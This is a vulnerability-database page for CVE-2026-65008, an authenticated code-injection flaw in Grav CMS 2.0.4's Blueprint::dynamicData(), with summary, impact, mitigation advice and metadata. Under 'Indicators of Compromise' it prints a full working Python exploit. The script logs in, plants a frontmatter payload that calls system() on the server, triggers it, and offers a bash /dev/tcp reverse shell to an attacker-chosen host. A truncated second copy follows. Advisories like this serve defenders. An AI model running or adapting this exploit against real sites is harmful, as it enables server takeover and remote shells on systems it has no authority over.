CVE-2026-65008: Improper Control of Generation of Code ('Code Injection') in getgrav grav
Grav version 2.0.4 contains a critical remote code execution vulnerability in the Blueprint::dynamicData() function. This flaw allows an authenticated user with admin.pages or api.pages.write permissions to inject malicious callable code into a page. When the page is accessed by any user, including unauthenticated visitors, the injected code executes with the web server's privileges. The vulnerability is fixed in Grav version 2.0.7.
AI Analysis
Technical Summary
CVE-2026-65008 is a remote code execution vulnerability in Grav 2.0.4 caused by improper control of code generation in the Blueprint::dynamicData() method. This method passes a Class::method callable string and its arguments directly to call_user_func_array() without an allowlist, enabling an authenticated user with specific permissions to plant malicious callable directives in page frontmatter. These directives execute as the web-server user when the page is accessed, potentially compromising the server. The issue is resolved in version 2.0.7.
Potential Impact
An attacker with authenticated access and admin.pages or api.pages.write permissions can execute arbitrary code on the server with web-server privileges by injecting malicious callable code into a page. This can lead to full server compromise when the page is accessed by any user, including unauthenticated visitors.
Mitigation Recommendations
Upgrade Grav to version 2.0.7 or later, where this vulnerability is fixed. Until the upgrade is applied, restrict access to accounts with admin.pages or api.pages.write permissions to trusted users only. Patch status is not explicitly confirmed in the vendor advisory, but the vulnerability is fixed in 2.0.7 according to the description.
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 # Exploit Title: Grav CMS 2.0.7 - Remote Code Execution # Date: 2026-07-27 # Exploit Author: zer0dayf # Vendor Homepage: https://getgrav.org/ # Software Link: https://github.com/getgrav/grav # Version: Grav CMS < 2.0.7 # Tested on: Ubuntu 22.04 / PHP 8.2 # CVE : CVE-2026-65008 """ CVE-2026-65008 - Grav CMS < 2.0.7 Authenticated RCE via Blueprint::dynamicData() + arrayFilterRecursive trampoline Lab / authorized testing only. """ import argparse import re import sys import time from urllib.parse import urljoin import requests requests.packages.urllib3.disable_warnings() BANNER = r""" . * . * GRAVITY FAIL * . * _____ .-' '-. / RCE INSIDE \ | system(\"id\")| \ www-data / '-._______.-' CVE-2026-65008 | Blueprint went brrr """ class GravExploit: def __init__(self, base_url, username, password, verify=False): self.base_url = base_url.rstrip("/") self.username = username self.password = password self.session = requests.Session() self.session.verify = verify self.session.headers.update({ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36" }) self.nonce = None def login(self): print("[*] Logging in...") login_url = urljoin(self.base_url, "/admin") r = self.session.get(login_url, timeout=15) match = re.search(r'name=["\']login-nonce["\']\s+value=["\']([a-f0-9]+)["\']', r.text) if not match: print("[-] login-nonce not found") return False data = { "data[username]": self.username, "data[password]": self.password, "task": "login", "login-nonce": match.group(1) } r = self.session.post(login_url, data=data, allow_redirects=True, timeout=15) if "login-nonce" in r.text and "data[username]" in r.text: print("[-] Login failed") return False print("[+] Login successful") return True def get_admin_nonce(self): r = self.session.get(urljoin(self.base_url, "/admin"), timeout=15) patterns = [ r"admin_nonce:\s*['\"]([a-f0-9]+)['\"]", r"admin-nonce:([a-f0-9]+)", r'name=["\']admin-nonce["\']\s+value=["\']([a-f0-9]+)["\']', ] for pattern in patterns: match = re.search(pattern, r.text) if match: self.nonce = match.group(1) return True return False def plant(self, command, folder="rcepoc"): print(f"[*] Planting payload → {command[:70]}{'...' if len(command) > 70 else ''}") if not self.get_admin_nonce(): print("[-] Could not get admin-nonce") return False safe_cmd = command.replace("'", "'\\''") frontmatter = f"""forms: x: fields: y: type: text data-opts@: - 'Grav\\Common\\Utils::arrayFilterRecursive' - {{ '{safe_cmd}': 'x' }} - system""" data = { "task": "save", "admin-nonce": self.nonce, "form-nonce": self.nonce, "data[folder]": folder, "data[name]": "form", "data[title]": "RCE", "data[content]": "pwned", "data[frontmatter]": frontmatter } url = urljoin(self.base_url, f"/admin/pages/{folder}") r = self.session.post(url, data=data, timeout=15) if r.status_code not in (200, 302): print(f"[-] Plant failed (HTTP {r.status_code})") return False print("[+] Payload planted") return True def trigger(self, folder="rcepoc", timeout=8): print("[*] Triggering payload...") try: r = requests.get( urljoin(self.base_url, f"/{folder}"), timeout=timeout, verify=False ) return r.text, False # (body, timed_out) except requests.exceptions.ReadTimeout: return None, True # timed out = muhtemel shell except Exception as e: print(f"[-] Trigger error: {e}") return None, False def run_cmd(self, command, folder="rcepoc"): if not self.plant(command, folder): return None time.sleep(0.5) body, timed_out = self.trigger(folder, timeout=12) if timed_out: print("[!] Request timed out (command may still have run)") return body def reverse_shell(self, lhost, lport, folder="rcepoc"): payload = f'bash -c "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"' print(f"[*] Reverse shell target → {lhost}:{lport}") print(f"[!] Make sure listener is running: nc -lvnp {lport}") print(f"[*] Payload: {payload}") if not self.plant(payload, folder): print("[-] Failed to plant reverse shell payload") return False time.sleep(0.6) body, timed_out = self.trigger(folder, timeout=6) if timed_out: print("[+] Request timed out → reverse shell likely connected!") print("[+] Check your nc listener.") return True else: print("[-] Request finished without timeout.") print("[-] Reverse shell probably FAILED (listener empty?).") if body: # Komut çıktısı geldiyse göster (hata mesajı olabilir) snippet = body[:300].replace("\n", " ") print(f"[*] Response snippet: {snippet}") return False def main(): print(BANNER) parser = argparse.ArgumentParser(description="CVE-2026-65008 Grav CMS Authenticated RCE") parser.add_argument("-u", "--url", required=True, help="Target URL") parser.add_argument("-U", "--username", default="admin", help="Username") parser.add_argument("-P", "--password", required=True, help="Password") parser.add_argument("-c", "--command", default="id", help="Command to execute") parser.add_argument("--lhost", help="Reverse shell LHOST") parser.add_argument("--lport", type=int, default=4444, help="Reverse shell LPORT") parser.add_argument("--folder", default="rcepoc", help="Page folder name") parser.add_argument("--no-verify", action="store_true", help="Disable TLS verification") args = parser.parse_args() exploit = GravExploit(args.url, args.username, args.password, verify=not args.no_verify) if not exploit.login(): sys.exit(1) if args.lhost: ok = exploit.reverse_shell(args.lhost, args.lport, folder=args.folder) sys.exit(0 if ok else 1) output = exploit.run_cmd(args.command, folder=args.folder) if output: print("\n" + "=" * 60) for line in output.splitlines()[:20]: if line.strip() and not line.strip().startswith("<"): print(line) print("=" * 60) print("[+] Done") else: print("[-] No usable output") if __name__ == "__main__": main()
CVE-2026-65008: Improper Control of Generation of Code ('Code Injection') in getgrav grav
Description
Grav version 2.0.4 contains a critical remote code execution vulnerability in the Blueprint::dynamicData() function. This flaw allows an authenticated user with admin.pages or api.pages.write permissions to inject malicious callable code into a page. When the page is accessed by any user, including unauthenticated visitors, the injected code executes with the web server's privileges. The vulnerability is fixed in Grav version 2.0.7.
CVSS v4.0
Score 9.3critical
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
CVE-2026-65008 is a remote code execution vulnerability in Grav 2.0.4 caused by improper control of code generation in the Blueprint::dynamicData() method. This method passes a Class::method callable string and its arguments directly to call_user_func_array() without an allowlist, enabling an authenticated user with specific permissions to plant malicious callable directives in page frontmatter. These directives execute as the web-server user when the page is accessed, potentially compromising the server. The issue is resolved in version 2.0.7.
Potential Impact
An attacker with authenticated access and admin.pages or api.pages.write permissions can execute arbitrary code on the server with web-server privileges by injecting malicious callable code into a page. This can lead to full server compromise when the page is accessed by any user, including unauthenticated visitors.
Mitigation Recommendations
Upgrade Grav to version 2.0.7 or later, where this vulnerability is fixed. Until the upgrade is applied, restrict access to accounts with admin.pages or api.pages.write permissions to trusted users only. Patch status is not explicitly confirmed in the vendor advisory, but the vulnerability is fixed in 2.0.7 according to the description.
Technical Details
- Data Version
- 5.2
- Assigner Short Name
- VulnCheck
- Date Reserved
- 2026-07-21T11:32:54.897Z
- Cvss Version
- 4.0
- State
- PUBLISHED
- Remediation Level
- null
Indicators of Compromise
Exploit Source Code
Exploit code for Grav CMS 2.0.7 - RCE
#!/usr/bin/env python3 # Exploit Title: Grav CMS 2.0.7 - Remote Code Execution # Date: 2026-07-27 # Exploit Author: zer0dayf # Vendor Homepage: https://getgrav.org/ # Software Link: https://github.com/getgrav/grav # Version: Grav CMS < 2.0.7 # Tested on: Ubuntu 22.04 / PHP 8.2 # CVE : CVE-2026-65008 """ CVE-2026-65008 - Grav CMS < 2.0.7 Authenticated RCE via Blueprint::dynamicData() + arrayFilterRecursive trampoline Lab / authorized testing only. """ import argparse import re import sys imp... (6638 more characters)
Threat ID: 6a5f622e2a4a8d598918bded
Added to database: 07/21/2026, 12:12:30 UTC
Last enriched: 07/30/2026, 11:23:42 UTC
Last updated: 09/02/2026, 10:52:11 UTC
Views: 68
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.